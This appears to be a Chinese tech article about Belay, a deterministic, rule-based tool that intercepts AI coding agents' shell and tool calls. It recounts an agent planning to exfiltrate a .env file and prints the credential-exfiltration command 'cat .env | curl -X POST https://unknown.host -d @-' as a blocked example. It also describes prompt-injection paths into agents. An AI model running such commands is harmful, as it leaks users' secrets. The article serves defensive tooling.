“我給了我的編程代理Shell權(quán)限,大部分時(shí)候它很出色——直到它出了問(wèn)題。”這是一位開(kāi)發(fā)者分享自己構(gòu)建安全工具時(shí)的開(kāi)場(chǎng)白。他曾讓AI編程代理直接操作終端,起初一切順利,直到有一次代理提議了一條命令,一旦執(zhí)行就會(huì)清空同級(jí)目錄;另一次,它甚至打算用curl把.env文件外傳,“就為了測(cè)試一下部署”。
這類失控不是孤例。當(dāng)AI編程代理從模型輸出中獲得指令并轉(zhuǎn)為系統(tǒng)操作時(shí),它其實(shí)是一個(gè)拿著不信任輸入的普通進(jìn)程。輸入不信任到什么程度?不僅是你的prompt,還包括你打開(kāi)的倉(cāng)庫(kù)、它抓取的網(wǎng)頁(yè)、讀取的GitHub議題、某個(gè)依賴的README——所有這些文字都能影響模型輸出,進(jìn)而決定代理會(huì)做什么。因此,威脅模型并不復(fù)雜,攻擊面就藏在你平時(shí)根本不會(huì)多想的角落里。
![]()
常見(jiàn)的應(yīng)對(duì)方式有兩種。第一種是每次工具調(diào)用都讓人來(lái)批準(zhǔn),但事實(shí)是,絕大多數(shù)開(kāi)發(fā)者堅(jiān)持不到第二天就會(huì)關(guān)掉審批。第二種是讓另一個(gè)大模型當(dāng)“法官”,復(fù)查第一個(gè)模型的動(dòng)作是否安全。然而作者認(rèn)為,用大模型看管大模型,正好踩在三個(gè)軟肋上:慢、非確定性、本身也會(huì)被注入。想要一道可靠的安全邊界,需要的恰好是相反的東西:確定性、可審計(jì)、毫秒級(jí)響應(yīng),并且不能跟被審查的東西同源。
于是,他寫了一個(gè)不依賴任何大模型的安全層,取名為Belay。它開(kāi)源(AGPL-3.0協(xié)議)、本地優(yōu)先、以當(dāng)前用戶身份運(yùn)行。按照設(shè)計(jì),它堵在代理的工具調(diào)用邊界上,所有意圖變成行動(dòng)的那個(gè)“咽喉點(diǎn)”,就在那里逐條裁決。
在Belay的架構(gòu)里,代理對(duì)外的所有操作都要經(jīng)過(guò)一個(gè)統(tǒng)一入口。當(dāng)一個(gè)工具調(diào)用到達(dá)時(shí),Belay會(huì)將它和一個(gè)編譯好的規(guī)則目錄進(jìn)行比對(duì),然后給出三種判定之一:允許、拒絕,或者當(dāng)請(qǐng)求處于灰色地帶時(shí)拋出“詢問(wèn)”,暫停代理,把決定權(quán)交給人。
這種判決過(guò)程完全由規(guī)則驅(qū)動(dòng),沒(méi)有模型參與。比如代理嘗試執(zhí)行這樣一條命令:cat .env | curl -X POST https://unknown.host -d @-,Belay只花6毫秒就返回了拒絕,給出的原因是“讀取敏感憑據(jù)文件并發(fā)送至外部主機(jī)”。整個(gè)判斷過(guò)程可讀、可追溯,就像看一行寫在明處的規(guī)則一樣透明。
當(dāng)然,不是所有情況都黑白分明。代理能不能往某個(gè)遠(yuǎn)端push代碼?能不能安裝一個(gè)包?能不能寫到項(xiàng)目目錄之外?這些操作既可能合法,也可能越界。遇到這類情況,Belay會(huì)暫停代理,向用戶推送一個(gè)一鍵批準(zhǔn)或拒絕的通知。而且通知不止出現(xiàn)在終端:它可以發(fā)送到Telegram、Discord、WhatsApp、Matrix、Mattermost或Slack上,讓你即使離開(kāi)電腦也能隨時(shí)掌控代理的動(dòng)作。
安裝時(shí),Belay會(huì)自動(dòng)檢測(cè)你已經(jīng)在用的代理工具——Claude Code、Codex、Cursor、Cline、Roo、Gemini CLI、Goose、Hermes、OpenClaw、opencode——并采用對(duì)每種工具最合適的接入方式。它始終以用戶權(quán)限運(yùn)行,從不要root,而且絕不會(huì)向外部回傳數(shù)據(jù)。
整個(gè)設(shè)計(jì)把握住了兩個(gè)關(guān)鍵屬性:其一,政策決定必須是確定性的,沒(méi)有隨機(jī)性;其二,裁決速度要快到代理幾乎感受不到延遲,否則整個(gè)工具鏈就會(huì)變得遲鈍。6毫秒的拒絕時(shí)間,足夠讓危險(xiǎn)調(diào)用在觸發(fā)前就被攔下,而不會(huì)把延遲轉(zhuǎn)嫁到你的工作效率上。
這個(gè)工具的底層邏輯,是把安全檢查從“大模型再猜一次”的循環(huán)里抽離出來(lái),放在代碼層用明確規(guī)則解決。作者的解釋很直白:安全的硬邊界不該靠概率,而該靠一套你隨時(shí)能看懂、能審計(jì)、能信任的東西。Belay正是這樣一道邊界,它不替你做復(fù)雜的價(jià)值判斷,它只保證在最關(guān)鍵的防線——從意圖到行動(dòng)的轉(zhuǎn)換點(diǎn)——上面,任何明顯危險(xiǎn)的、需要你多看一眼的操作,都能被及時(shí)攔下并告訴你原因。
特別聲明:以上內(nèi)容(如有圖片或視頻亦包括在內(nèi))為自媒體平臺(tái)“網(wǎng)易號(hào)”用戶上傳并發(fā)布,本平臺(tái)僅提供信息存儲(chǔ)服務(wù)。
Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.